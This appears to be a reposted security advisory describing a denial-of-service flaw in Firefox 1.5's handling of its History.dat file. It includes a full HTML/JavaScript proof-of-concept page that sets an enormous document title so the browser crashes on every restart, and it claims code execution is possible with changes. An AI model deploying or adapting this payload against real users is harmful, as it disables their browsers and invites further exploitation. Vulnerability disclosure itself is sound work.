Gecko is "the open source web browser layout engine used in all Mozilla-branded software and its derivatives, including later Netscape releases. Written in C++, Gecko is designed to support open Internet standards. Originally created by Netscape Communications Corporation, its development is now overseen by the Mozilla Foundation".
A vulnerability in Gecko's reading History.dat file allows remote attackers to cause the program to freeze, thus causing a denial of service.
Credit:
The information has been provided by ZIPLOCK.
A denial of service vulnerability exists in Gecko's handling of user URL visiting history data. The History.dat file stores visited URL and is read when the engine start. When a remarkably large URL is inserted into History.dat file, the browser will crash on start. This can be exploited by malicious people by persuading a user to visit a specially crafted web page.
Proof of Concept:
< !-- Firefox 1.5 buffer overflow
Basically firefox logs all kinda of URL data in it's history.dat file,
this little script will set a really large topic and Firefox will then
save that topic into it's history.dat.. The next time that firefox is
opened, it will instantly crash due to a buffer overflow -- this will
happen everytime until you manually delete the history.dat file -- which
most users won't figure out.
this proof of concept will only prevent someone from reopening
their browser after being exploited. DoS if you will. however, code
execution is possible with some modifcations.
Tested with Firefox 1.5 on Windows XP SP2.
ZIPLOCK < sickbeatz@gmail.com>
-->
< html>< head>< title>heh< /title>< script type="text/javascript">
function ex() {
var buffer = "";
for (var i = 0; i < 5000; i++) {
buffer += "A";
}
var buffer2 = buffer;
for (i = 0; i < 500; i++) {
buffer2 += buffer;
}
document.title = buffer2;
}
< /script>< /head>< body>ZIPLOCK says < a href="javascript:ex();">CLICK ME
< /a>< /body>< /html>
